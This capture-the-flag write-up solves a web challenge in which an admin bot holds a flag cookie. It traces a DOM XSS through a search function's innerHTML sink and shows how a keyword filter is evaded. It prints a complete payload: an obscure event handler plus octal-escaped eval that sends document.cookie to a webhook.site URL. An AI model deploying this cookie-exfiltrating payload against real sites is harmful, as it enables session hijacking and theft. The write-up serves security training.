I've developed a little application to help me with my pentest missions, with lots of useful payloads! I even let users add new payloads, but since I was in a rush I didn't have time to test the security of my application, could you take care of it ?
We're given an express server that looks like this:
const express = require('express');
const path = require('path');
const fs = require('fs');
const { spawn } = require('child_process');
const puppeteer = require('puppeteer');
const { format } = require('date-fns');
const app = express();
const port = 5000;
const logPath = '/tmp/bot_folder/logs/';
const browserCachePath = '/tmp/bot_folder/browser_cache/';
const cookie = {
name: 'Flag',
value: "PWNME{FAKE_FLAG}",
sameSite: 'Strict'
};
app.use(express.urlencoded({ extended: true }));
app.use(express.static(path.join(__dirname, 'public')));
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');
if (!fs.existsSync(logPath)) {
fs.mkdirSync(logPath, { recursive: true });
}
if (!fs.existsSync(browserCachePath)) {
fs.mkdirSync(browserCachePath, { recursive: true });
}
const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));
async function startBot(url, name) {
const logFilePath = path.join(logPath, `${name}.log`);
try {
const logStream = fs.createWriteStream(logFilePath, { flags: 'a' });
logStream.write(`${new Date()} : Attempting to open website ${url}\n`);
const browser = await puppeteer.launch({
headless: 'new',
args: ['--remote-allow-origins=*','--no-sandbox', '--disable-dev-shm-usage', `--user-data-dir=${browserCachePath}`]
});
const page = await browser.newPage();
await page.goto(url);
if (url.startsWith("http://localhost/")) {
await page.setCookie(cookie);
}
logStream.write(`${new Date()} : Successfully opened ${url}\n`);
await sleep(7000);
await browser.close();
logStream.write(`${new Date()} : Finished execution\n`);
logStream.end();
} catch (e) {
const logStream = fs.createWriteStream(logFilePath, { flags: 'a' });
logStream.write(`${new Date()} : Exception occurred: ${e}\n`);
logStream.end();
}
}
app.get('/', (req, res) => {
res.render('index');
});
app.get('/report', (req, res) => {
res.render('report');
});
app.post('/report', (req, res) => {
const url = req.body.url;
const name = format(new Date(), "yyMMdd_HHmmss");
startBot(url, name);
res.status(200).send(`logs/${name}.log`);
});
app.listen(port, () => {
console.log(`App running at http://0.0.0.0:${port}`);
});
Seemingly, the server sets up a simple "admin bot" whose cookie we need to extract via XSS.
But where is the XSS vulnerability? Looking in the script loaded by index.ejs
,
// Implements search functionality, filtering articles to display only those matching the search words (considering whole words case-insensitive matches)
function getSearchQuery() {
const params = new URLSearchParams(window.location.search);
// Utiliser une valeur par défaut de chaîne vide si le paramètre n'existe pas
return params.get('q') ? params.get('q').toLowerCase() : '';
}
document.addEventListener('DOMContentLoaded', function() {
const searchQuery = getSearchQuery();
document.getElementById('search-input').value = searchQuery;
if (searchQuery) {
searchArticles(searchQuery);
}
});
document.getElementById('search-icon').addEventListener('click', function() {
searchArticles();
});
document.getElementById('search-input').addEventListener('keypress', function(event) {
if (event.key === 'Enter') {
searchArticles();
}
});
function searchArticles(searchInput = document.getElementById('search-input').value.toLowerCase().trim()) {
const searchWords = searchInput.split(/[^\p{L}]+/u);
const articles = document.querySelectorAll('.article-box');
let found = false;
articles.forEach(article => {
if (searchInput === '') {
article.style.display = '';
found = true;
} else {
const articleText = article.textContent.toLowerCase();
const isMatch = searchWords.some(word => word && new RegExp(`${word}`, 'ui').test(articleText));
if (isMatch) {
article.style.display = '';
found = true;
} else {
article.style.display = 'none';
}
}
});
const noMatchMessage = document.getElementById('no-match-message');
if (!found && searchInput) {
noMatchMessage.innerHTML = `No results for "${searchInput}".`;
noMatchMessage.style.display = 'block';
} else {
noMatchMessage.style.display = 'none';
}
}
The idea seems to be that
- The page automatically populates
search-input
with our passed-in query string. - For each "word" (tokens separated by characters not in the unicode letter category) in our query, we perform a case-insensitive Regex match against the text of each article on the page.
- If no matches are found, we get direct
innerHTML
access -> XSS.
But there's one last problem; the page's articles look like this:
so we need to be careful about choosing an XSS payload that doesn't match any of the banned tokens above. Looking online, one such payload is
<vinh oncontentvisibilityautostatechange="..." style=display:block;content-visibility:auto>
but our executed JS can't contain any of the banned tokens, either. To be safe, we can use JS's deprecated octal escape sequence syntax to encode our payload as
fetch(`https://webhook.site/b7d64b9c-1be5-4c70-8120-fd9fb57cc68a?a=${document.cookie}`)
eval('\146\145\164\143\150\50\140\150\164\164\160\163\72\57\57\167\145\142\150\157\157\153\56\163\151\164\145\57\142\67\144\66\64\142\71\143\55\61\142\145\65\55\64\143\67\60\55\70\61\62\60\55\146\144\71\146\142\65\67\143\143\66\70\141\77\141\75\44\173\144\157\143\165\155\145\156\164\56\143\157\157\153\151\145\175\140\51')
One final hiccup: looking at the bot source again,
const page = await browser.newPage();
await page.goto(url);
if (url.startsWith("http://localhost/")) {
await page.setCookie(cookie);
}
the admin visits the page before setting its cookie. As a simple solution, we can just sleep for a bit before exfiltrating the cookie via XSS,
console.log([...'setTimeout(() => fetch(`https://webhook.site/b7d64b9c-1be5-4c70-8120-fd9fb57cc68a?a=${document.cookie}`), 3000)'].map(s => '\\' + s.charCodeAt(0).toString(8)).join(''))
giving us a final payload looking like
<vinh oncontentvisibilityautostatechange="eval('\163\145\164\124\151\155\145\157\165\164\50\50\51\40\75\76\40\146\145\164\143\150\50\140\150\164\164\160\163\72\57\57\167\145\142\150\157\157\153\56\163\151\164\145\57\142\67\144\66\64\142\71\143\55\61\142\145\65\55\64\143\67\60\55\70\61\62\60\55\146\144\71\146\142\65\67\143\143\66\70\141\77\141\75\44\173\144\157\143\165\155\145\156\164\56\143\157\157\153\151\145\175\140\51\54\40\63\60\60\60\51')" style=display:block;content-visibility:auto>
Reporting this to the bot, we get the flag:
PWNME{D1d_y0U_S4iD-F1lt33Rs?}